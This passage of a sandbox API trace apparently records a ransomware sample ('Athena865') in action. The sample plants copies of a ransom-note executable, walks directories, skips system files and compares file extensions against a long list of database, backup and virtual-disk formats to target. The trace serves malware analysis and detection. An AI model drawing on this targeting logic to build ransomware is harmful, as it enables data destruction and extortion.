Files\\Microsoft Office\\Office14\\BORDERS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0151.814] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0151.814] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\how to back your files.exe"), bFailIfExists=1) returned 0 [0151.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0151.816] GetLastError () returned 0x0 [0151.816] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0151.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0151.816] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0151.817] CloseHandle (hObject=0xf4) returned 1 [0151.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0151.817] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0151.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd06ca380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd06ca380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0151.817] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.817] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.817] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0151.817] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd06ca380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd06ca380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.817] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.817] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.817] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0151.817] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0151.817] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd06ca380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd06ca380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0151.817] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0151.817] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x7df6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART1.BDR", cAlternateFileName="")) returned 1 [0151.817] lstrcmpiW (lpString1="MSART1.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.817] lstrcmpiW (lpString1="MSART1.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.817] lstrcmpiW (lpString1="MSART1.BDR", lpString2=".") returned 1 [0151.817] lstrcmpiW (lpString1="MSART1.BDR", lpString2="..") returned 1 [0151.817] lstrcmpiW (lpString1="MSART1.BDR", lpString2="windows") returned -1 [0151.817] lstrcmpiW (lpString1="MSART1.BDR", lpString2="bootmgr") returned 1 [0151.817] lstrcmpiW (lpString1="MSART1.BDR", lpString2="temp") returned -1 [0151.817] lstrcmpiW (lpString1="MSART1.BDR", lpString2="pagefile.sys") returned -1 [0151.818] lstrcmpiW (lpString1="MSART1.BDR", lpString2="boot") returned 1 [0151.818] lstrcmpiW (lpString1="MSART1.BDR", lpString2="ids.txt") returned 1 [0151.818] lstrcmpiW (lpString1="MSART1.BDR", lpString2="ntuser.dat") returned -1 [0151.818] lstrcmpiW (lpString1="MSART1.BDR", lpString2="perflogs") returned -1 [0151.818] lstrcmpiW (lpString1="MSART1.BDR", lpString2="MSBuild") returned -1 [0151.818] lstrlenW (lpString="MSART1.BDR") returned 10 [0151.818] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART1.BDR" | out: lpString1="MSART1.BDR") returned="MSART1.BDR" [0151.818] lstrlenW (lpString="MSART1.BDR") returned 10 [0151.818] lstrlenW (lpString="Athena865") returned 9 [0151.818] lstrcmpiW (lpString1="SART1.BDR", lpString2="Athena865") returned 1 [0151.818] lstrlenW (lpString=".dll") returned 4 [0151.818] lstrcmpiW (lpString1="MSART1.BDR", lpString2=".dll") returned 1 [0151.818] lstrlenW (lpString=".lnk") returned 4 [0151.818] lstrcmpiW (lpString1="MSART1.BDR", lpString2=".lnk") returned 1 [0151.818] lstrlenW (lpString=".ini") returned 4 [0151.818] lstrcmpiW (lpString1="MSART1.BDR", lpString2=".ini") returned 1 [0151.818] lstrlenW (lpString=".sys") returned 4 [0151.818] lstrcmpiW (lpString1="MSART1.BDR", lpString2=".sys") returned 1 [0151.818] lstrlenW (lpString="MSART1.BDR") returned 10 [0151.818] lstrlenW (lpString="bak") returned 3 [0151.818] lstrcmpiW (lpString1="BDR", lpString2="bak") returned 1 [0151.818] lstrlenW (lpString="ba_") returned 3 [0151.818] lstrcmpiW (lpString1="BDR", lpString2="ba_") returned 1 [0151.818] lstrlenW (lpString="dbb") returned 3 [0151.818] lstrcmpiW (lpString1="BDR", lpString2="dbb") returned -1 [0151.818] lstrlenW (lpString="vmdk") returned 4 [0151.818] lstrcmpiW (lpString1=".BDR", lpString2="vmdk") returned -1 [0151.818] lstrlenW (lpString="rar") returned 3 [0151.818] lstrcmpiW (lpString1="BDR", lpString2="rar") returned -1 [0151.819] lstrlenW (lpString="zip") returned 3 [0151.819] lstrcmpiW (lpString1="BDR", lpString2="zip") returned -1 [0151.819] lstrlenW (lpString="tgz") returned 3 [0151.819] lstrcmpiW (lpString1="BDR", lpString2="tgz") returned -1 [0151.819] lstrlenW (lpString="vbox") returned 4 [0151.819] lstrcmpiW (lpString1=".BDR", lpString2="vbox") returned -1 [0151.819] lstrlenW (lpString="vdi") returned 3 [0151.819] lstrcmpiW (lpString1="BDR", lpString2="vdi") returned -1 [0151.819] lstrlenW (lpString="vhd") returned 3 [0151.819] lstrcmpiW (lpString1="BDR", lpString2="vhd") returned -1 [0151.819] lstrlenW (lpString="vhdx") returned 4 [0151.819] lstrcmpiW (lpString1=".BDR", lpString2="vhdx") returned -1 [0151.819] lstrlenW (lpString="avhd") returned 4 [0151.819] lstrcmpiW (lpString1=".BDR", lpString2="avhd") returned -1 [0151.819] lstrlenW (lpString="db") returned 2 [0151.819] lstrcmpiW (lpString1="DR", lpString2="db") returned 1 [0151.819] lstrlenW (lpString="db2") returned 3 [0151.819] lstrcmpiW (lpString1="BDR", lpString2="db2") returned -1 [0151.819] lstrlenW (lpString="db3") returned 3 [0151.819] lstrcmpiW (lpString1="BDR", lpString2="db3") returned -1 [0151.819] lstrlenW (lpString="dbf") returned 3 [0151.819] lstrcmpiW (lpString1="BDR", lpString2="dbf") returned -1 [0151.819] lstrlenW (lpString="mdf") returned 3 [0151.819] lstrcmpiW (lpString1="BDR", lpString2="mdf") returned -1 [0151.819] lstrlenW (lpString="mdb") returned 3 [0151.819] lstrcmpiW (lpString1="BDR", lpString2="mdb") returned -1 [0151.819] lstrlenW (lpString="sql") returned 3 [0151.819] lstrcmpiW (lpString1="BDR", lpString2="sql") returned -1 [0151.819] lstrlenW (lpString="sqlite") returned 6 [0151.820] lstrcmpiW (lpString1="T1.BDR", lpString2="sqlite") returned 1 [0151.820] lstrlenW (lpString="sqlite3") returned 7 [0151.820] lstrcmpiW (lpString1="RT1.BDR", lpString2="sqlite3") returned -1 [0151.820] lstrlenW (lpString="sqlitedb") returned 8 [0151.820] lstrcmpiW (lpString1="ART1.BDR", lpString2="sqlitedb") returned -1 [0151.820] lstrlenW (lpString="xml") returned 3 [0151.820] lstrcmpiW (lpString1="BDR", lpString2="xml") returned -1 [0151.820] lstrlenW (lpString="$er") returned 3 [0151.820] lstrcmpiW (lpString1="BDR", lpString2="$er") returned 1 [0151.820] lstrlenW (lpString="4dd") returned 3 [0151.820] lstrcmpiW (lpString1="BDR", lpString2="4dd") returned 1 [0151.820] lstrlenW (lpString="4dl") returned 3 [0151.820] lstrcmpiW (lpString1="BDR", lpString2="4dl") returned 1 [0151.820] lstrlenW (lpString="^^^") returned 3 [0151.820] lstrcmpiW (lpString1="BDR", lpString2="^^^") returned 1 [0151.820] lstrlenW (lpString="abs") returned 3 [0151.820] lstrcmpiW (lpString1="BDR", lpString2="abs") returned 1 [0151.820] lstrlenW (lpString="abx") returned 3 [0151.820] lstrcmpiW (lpString1="BDR", lpString2="abx") returned 1 [0151.820] lstrlenW (lpString="accdb") returned 5 [0151.820] lstrcmpiW (lpString1="1.BDR", lpString2="accdb") returned -1 [0151.820] lstrlenW (lpString="accdc") returned 5 [0151.820] lstrcmpiW (lpString1="1.BDR", lpString2="accdc") returned -1 [0151.820] lstrlenW (lpString="accde") returned 5 [0151.820] lstrcmpiW (lpString1="1.BDR", lpString2="accde") returned -1 [0151.820] lstrlenW (lpString="accdr") returned 5 [0151.820] lstrcmpiW (lpString1="1.BDR", lpString2="accdr") returned -1 [0151.820] lstrlenW (lpString="accdt") returned 5 [0151.820] lstrcmpiW (lpString1="1.BDR", lpString2="accdt") returned -1 [0151.821] lstrlenW (lpString="accdw") returned 5 [0151.821] lstrcmpiW (lpString1="1.BDR", lpString2="accdw") returned -1 [0151.821] lstrlenW (lpString="accft") returned 5 [0151.821] lstrcmpiW (lpString1="1.BDR", lpString2="accft") returned -1 [0151.821] lstrlenW (lpString="adb") returned 3 [0151.821] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1 [0151.821] lstrlenW (lpString="adb") returned 3 [0151.821] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1 [0151.821] lstrlenW (lpString="ade") returned 3 [0151.821] lstrcmpiW (lpString1="BDR", lpString2="ade") returned 1 [0151.821] lstrlenW (lpString="adf") returned 3 [0151.821] lstrcmpiW (lpString1="BDR", lpString2="adf") returned 1 [0151.821] lstrlenW (lpString="adn") returned 3 [0151.821] lstrcmpiW (lpString1="BDR", lpString2="adn") returned 1 [0151.821] lstrlenW (lpString="adp") returned 3 [0151.821] lstrcmpiW (lpString1="BDR", lpString2="adp") returned 1 [0151.821] lstrlenW (lpString="alf") returned 3 [0151.821] lstrcmpiW (lpString1="BDR", lpString2="alf") returned 1 [0151.821] lstrlenW (lpString="ask") returned 3 [0151.822] lstrcmpiW (lpString1="BDR", lpString2="ask") returned 1 [0151.822] lstrlenW (lpString="btr") returned 3 [0151.822] lstrcmpiW (lpString1="BDR", lpString2="btr") returned -1 [0151.822] lstrlenW (lpString="cat") returned 3 [0151.822] lstrcmpiW (lpString1="BDR", lpString2="cat") returned -1 [0151.822] lstrlenW (lpString="cdb") returned 3 [0151.822] lstrcmpiW (lpString1="BDR", lpString2="cdb") returned -1 [0151.822] lstrlenW (lpString="ckp") returned 3 [0151.823] lstrcmpiW (lpString1="BDR", lpString2="ckp") returned -1 [0151.823] lstrlenW (lpString="cma") returned 3 [0151.823] lstrcmpiW (lpString1="BDR", lpString2="cma") returned -1 [0151.823] lstrlenW (lpString="cpd") returned 3 [0151.823] lstrcmpiW (lpString1="BDR", lpString2="cpd") returned -1 [0151.823] lstrlenW (lpString="dacpac") returned 6 [0151.823] lstrcmpiW (lpString1="T1.BDR", lpString2="dacpac") returned 1 [0151.823] lstrlenW (lpString="dad") returned 3 [0151.823] lstrcmpiW (lpString1="BDR", lpString2="dad") returned -1 [0151.823] lstrlenW (lpString="dadiagrams") returned 10 [0151.823] lstrlenW (lpString="daschema") returned 8 [0151.823] lstrcmpiW (lpString1="ART1.BDR", lpString2="daschema") returned -1 [0151.823] lstrlenW (lpString="db-journal") returned 10 [0151.823] lstrlenW (lpString="db-shm") returned 6 [0151.823] lstrcmpiW (lpString1="T1.BDR", lpString2="db-shm") returned 1 [0151.823] lstrlenW (lpString="db-wal") returned 6 [0151.823] lstrcmpiW (lpString1="T1.BDR", lpString2="db-wal") returned 1 [0151.823] lstrlenW (lpString="dbc") returned 3 [0151.823] lstrcmpiW (lpString1="BDR", lpString2="dbc") returned -1 [0151.823] lstrlenW (lpString="dbs") returned 3 [0151.823] lstrcmpiW (lpString1="BDR", lpString2="dbs") returned -1 [0151.823] lstrlenW (lpString="dbt") returned 3 [0151.823] lstrcmpiW (lpString1="BDR", lpString2="dbt") returned -1 [0151.823] lstrlenW (lpString="dbv") returned 3 [0151.823] lstrcmpiW (lpString1="BDR", lpString2="dbv") returned -1 [0151.823] lstrlenW (lpString="dbx") returned 3 [0151.823] lstrcmpiW (lpString1="BDR", lpString2="dbx") returned -1 [0151.824] lstrlenW (lpString="dcb") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="dcb") returned -1 [0151.824] lstrlenW (lpString="dct") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="dct") returned -1 [0151.824] lstrlenW (lpString="dcx") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="dcx") returned -1 [0151.824] lstrlenW (lpString="ddl") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="ddl") returned -1 [0151.824] lstrlenW (lpString="dlis") returned 4 [0151.824] lstrcmpiW (lpString1=".BDR", lpString2="dlis") returned -1 [0151.824] lstrlenW (lpString="dp1") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="dp1") returned -1 [0151.824] lstrlenW (lpString="dqy") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="dqy") returned -1 [0151.824] lstrlenW (lpString="dsk") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="dsk") returned -1 [0151.824] lstrlenW (lpString="dsn") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="dsn") returned -1 [0151.824] lstrlenW (lpString="dtsx") returned 4 [0151.824] lstrcmpiW (lpString1=".BDR", lpString2="dtsx") returned -1 [0151.824] lstrlenW (lpString="dxl") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="dxl") returned -1 [0151.824] lstrlenW (lpString="eco") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="eco") returned -1 [0151.824] lstrlenW (lpString="ecx") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="ecx") returned -1 [0151.824] lstrlenW (lpString="edb") returned 3 [0151.824] lstrcmpiW (lpString1="BDR", lpString2="edb") returned -1 [0151.824] lstrlenW (lpString="epim") returned 4 [0151.824] lstrcmpiW (lpString1=".BDR", lpString2="epim") returned -1 [0151.825] lstrlenW (lpString="fcd") returned 3 [0151.825] lstrcmpiW (lpString1="BDR", lpString2="fcd") returned -1 [0151.825] lstrlenW (lpString="fdb") returned 3 [0151.825] lstrcmpiW (lpString1="BDR", lpString2="fdb") returned -1 [0151.825] lstrlenW (lpString="fic") returned 3 [0151.825] lstrcmpiW (lpString1="BDR", lpString2="fic") returned -1 [0151.825] lstrlenW (lpString="flexolibrary") returned 12 [0151.825] lstrlenW (lpString="fm5") returned 3 [0151.825] lstrcmpiW (lpString1="BDR", lpString2="fm5") returned -1 [0151.825] lstrlenW (lpString="fmp") returned 3 [0151.825] lstrcmpiW (lpString1="BDR", lpString2="fmp") returned -1 [0151.825] lstrlenW (lpString="fmp12") returned 5 [0151.825] lstrcmpiW (lpString1="1.BDR", lpString2="fmp12") returned -1 [0151.825] lstrlenW (lpString="fmpsl") returned 5 [0151.825] lstrcmpiW (lpString1="1.BDR", lpString2="fmpsl") returned -1 [0151.825] lstrlenW (lpString="fol") returned 3 [0151.825] lstrcmpiW (lpString1="BDR", lpString2="fol") returned -1 [0151.825] lstrlenW (lpString="fp3") returned 3 [0151.825] lstrcmpiW (lpString1="BDR", lpString2="fp3") returned -1 [0151.825] lstrlenW (lpString="fp4") returned 3 [0151.825] lstrcmpiW (lpString1="BDR", lpString2="fp4") returned -1 [0151.825] lstrlenW (lpString="fp5") returned 3 [0151.825] lstrcmpiW (lpString1="BDR", lpString2="fp5") returned -1 [0151.825] lstrlenW (lpString="fp7") returned 3 [0151.825] lstrcmpiW (lpString1="BDR", lpString2="fp7") returned -1 [0151.825] lstrlenW (lpString="fpt") returned 3 [0151.825] lstrcmpiW (lpString1="BDR", lpString2="fpt") returned -1 [0151.825] lstrlenW (lpString="frm") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="frm") returned -1 [0151.826] lstrlenW (lpString="gdb") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="gdb") returned -1 [0151.826] lstrlenW (lpString="gdb") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="gdb") returned -1 [0151.826] lstrlenW (lpString="grdb") returned 4 [0151.826] lstrcmpiW (lpString1=".BDR", lpString2="grdb") returned -1 [0151.826] lstrlenW (lpString="gwi") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="gwi") returned -1 [0151.826] lstrlenW (lpString="hdb") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="hdb") returned -1 [0151.826] lstrlenW (lpString="his") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="his") returned -1 [0151.826] lstrlenW (lpString="ib") returned 2 [0151.826] lstrcmpiW (lpString1="DR", lpString2="ib") returned -1 [0151.826] lstrlenW (lpString="idb") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="idb") returned -1 [0151.826] lstrlenW (lpString="ihx") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="ihx") returned -1 [0151.826] lstrlenW (lpString="itdb") returned 4 [0151.826] lstrcmpiW (lpString1=".BDR", lpString2="itdb") returned -1 [0151.826] lstrlenW (lpString="itw") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="itw") returned -1 [0151.826] lstrlenW (lpString="jet") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="jet") returned -1 [0151.826] lstrlenW (lpString="jtx") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="jtx") returned -1 [0151.826] lstrlenW (lpString="kdb") returned 3 [0151.826] lstrcmpiW (lpString1="BDR", lpString2="kdb") returned -1 [0151.827] lstrlenW (lpString="kexi") returned 4 [0151.827] lstrcmpiW (lpString1=".BDR", lpString2="kexi") returned -1 [0151.827] lstrlenW (lpString="kexic") returned 5 [0151.827] lstrcmpiW (lpString1="1.BDR", lpString2="kexic") returned -1 [0151.827] lstrlenW (lpString="kexis") returned 5 [0151.827] lstrcmpiW (lpString1="1.BDR", lpString2="kexis") returned -1 [0151.827] lstrlenW (lpString="lgc") returned 3 [0151.827] lstrcmpiW (lpString1="BDR", lpString2="lgc") returned -1 [0151.827] lstrlenW (lpString="lwx") returned 3 [0151.827] lstrcmpiW (lpString1="BDR", lpString2="lwx") returned -1 [0151.827] lstrlenW (lpString="maf") returned 3 [0151.827] lstrcmpiW (lpString1="BDR", lpString2="maf") returned -1 [0151.827] lstrlenW (lpString="maq") returned 3 [0151.827] lstrcmpiW (lpString1="BDR", lpString2="maq") returned -1 [0151.827] lstrlenW (lpString="mar") returned 3 [0151.827] lstrcmpiW (lpString1="BDR", lpString2="mar") returned -1 [0151.827] lstrlenW (lpString="marshal") returned 7 [0151.827] lstrcmpiW (lpString1="RT1.BDR", lpString2="marshal") returned 1 [0151.827] lstrlenW (lpString="mas") returned 3 [0151.827] lstrcmpiW (lpString1="BDR", lpString2="mas") returned -1 [0151.827] lstrlenW (lpString="mav") returned 3 [0151.827] lstrcmpiW (lpString1="BDR", lpString2="mav") returned -1 [0151.827] lstrlenW (lpString="maw") returned 3 [0151.827] lstrcmpiW (lpString1="BDR", lpString2="maw") returned -1 [0151.827] lstrlenW (lpString="mdbhtml") returned 7 [0151.827] lstrcmpiW (lpString1="RT1.BDR", lpString2="mdbhtml") returned 1 [0151.827] lstrlenW (lpString="mdn") returned 3 [0151.827] lstrcmpiW (lpString1="BDR", lpString2="mdn") returned -1 [0151.828] lstrlenW (lpString="mdt") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="mdt") returned -1 [0151.828] lstrlenW (lpString="mfd") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="mfd") returned -1 [0151.828] lstrlenW (lpString="mpd") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="mpd") returned -1 [0151.828] lstrlenW (lpString="mrg") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="mrg") returned -1 [0151.828] lstrlenW (lpString="mud") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="mud") returned -1 [0151.828] lstrlenW (lpString="mwb") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="mwb") returned -1 [0151.828] lstrlenW (lpString="myd") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="myd") returned -1 [0151.828] lstrlenW (lpString="ndf") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="ndf") returned -1 [0151.828] lstrlenW (lpString="nnt") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="nnt") returned -1 [0151.828] lstrlenW (lpString="nrmlib") returned 6 [0151.828] lstrcmpiW (lpString1="T1.BDR", lpString2="nrmlib") returned 1 [0151.828] lstrlenW (lpString="ns2") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="ns2") returned -1 [0151.828] lstrlenW (lpString="ns3") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="ns3") returned -1 [0151.828] lstrlenW (lpString="ns4") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="ns4") returned -1 [0151.828] lstrlenW (lpString="nsf") returned 3 [0151.828] lstrcmpiW (lpString1="BDR", lpString2="nsf") returned -1 [0151.828] lstrlenW (lpString="nv") returned 2 [0151.828] lstrcmpiW (lpString1="DR", lpString2="nv") returned -1 [0151.829] lstrlenW (lpString="nv2") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="nv2") returned -1 [0151.829] lstrlenW (lpString="nwdb") returned 4 [0151.829] lstrcmpiW (lpString1=".BDR", lpString2="nwdb") returned -1 [0151.829] lstrlenW (lpString="nyf") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="nyf") returned -1 [0151.829] lstrlenW (lpString="odb") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="odb") returned -1 [0151.829] lstrlenW (lpString="odb") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="odb") returned -1 [0151.829] lstrlenW (lpString="oqy") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="oqy") returned -1 [0151.829] lstrlenW (lpString="ora") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="ora") returned -1 [0151.829] lstrlenW (lpString="orx") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="orx") returned -1 [0151.829] lstrlenW (lpString="owc") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="owc") returned -1 [0151.829] lstrlenW (lpString="p96") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="p96") returned -1 [0151.829] lstrlenW (lpString="p97") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="p97") returned -1 [0151.829] lstrlenW (lpString="pan") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="pan") returned -1 [0151.829] lstrlenW (lpString="pdb") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="pdb") returned -1 [0151.829] lstrlenW (lpString="pdm") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="pdm") returned -1 [0151.829] lstrlenW (lpString="pnz") returned 3 [0151.829] lstrcmpiW (lpString1="BDR", lpString2="pnz") returned -1 [0151.829] lstrlenW (lpString="qry") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="qry") returned -1 [0151.830] lstrlenW (lpString="qvd") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="qvd") returned -1 [0151.830] lstrlenW (lpString="rbf") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="rbf") returned -1 [0151.830] lstrlenW (lpString="rctd") returned 4 [0151.830] lstrcmpiW (lpString1=".BDR", lpString2="rctd") returned -1 [0151.830] lstrlenW (lpString="rod") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="rod") returned -1 [0151.830] lstrlenW (lpString="rodx") returned 4 [0151.830] lstrcmpiW (lpString1=".BDR", lpString2="rodx") returned -1 [0151.830] lstrlenW (lpString="rpd") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="rpd") returned -1 [0151.830] lstrlenW (lpString="rsd") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="rsd") returned -1 [0151.830] lstrlenW (lpString="sas7bdat") returned 8 [0151.830] lstrcmpiW (lpString1="ART1.BDR", lpString2="sas7bdat") returned -1 [0151.830] lstrlenW (lpString="sbf") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="sbf") returned -1 [0151.830] lstrlenW (lpString="scx") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="scx") returned -1 [0151.830] lstrlenW (lpString="sdb") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="sdb") returned -1 [0151.830] lstrlenW (lpString="sdc") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="sdc") returned -1 [0151.830] lstrlenW (lpString="sdf") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="sdf") returned -1 [0151.830] lstrlenW (lpString="sis") returned 3 [0151.830] lstrcmpiW (lpString1="BDR", lpString2="sis") returned -1 [0151.830] lstrlenW (lpString="spq") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", lpString2="spq") returned -1 [0151.831] lstrlenW (lpString="te") returned 2 [0151.831] lstrcmpiW (lpString1="DR", lpString2="te") returned -1 [0151.831] lstrlenW (lpString="teacher") returned 7 [0151.831] lstrcmpiW (lpString1="RT1.BDR", lpString2="teacher") returned -1 [0151.831] lstrlenW (lpString="tmd") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", lpString2="tmd") returned -1 [0151.831] lstrlenW (lpString="tps") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", lpString2="tps") returned -1 [0151.831] lstrlenW (lpString="trc") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", lpString2="trc") returned -1 [0151.831] lstrlenW (lpString="trc") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", lpString2="trc") returned -1 [0151.831] lstrlenW (lpString="trm") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", lpString2="trm") returned -1 [0151.831] lstrlenW (lpString="udb") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", lpString2="udb") returned -1 [0151.831] lstrlenW (lpString="udl") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", lpString2="udl") returned -1 [0151.831] lstrlenW (lpString="usr") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", lpString2="usr") returned -1 [0151.831] lstrlenW (lpString="v12") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", 